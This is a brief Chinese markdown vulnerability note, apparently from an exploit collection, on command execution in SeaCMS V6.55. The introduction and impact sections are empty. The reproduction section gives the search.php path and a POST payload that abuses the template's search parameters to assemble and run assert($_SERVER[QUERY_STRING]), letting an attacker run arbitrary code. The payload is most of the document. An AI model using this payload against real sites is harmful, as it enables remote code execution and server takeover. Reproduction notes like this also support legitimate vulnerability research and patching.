006-海洋CMS seacms V6.55 命令执行.md

362 B / 2021-07-17 00:01:30

    # 海洋CMS seacms V6.55 命令执行

### 一、漏洞简介

### 二、漏洞影响

### 三、复现过程

path:


```bash
http://url/search.php

POST:

searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*
```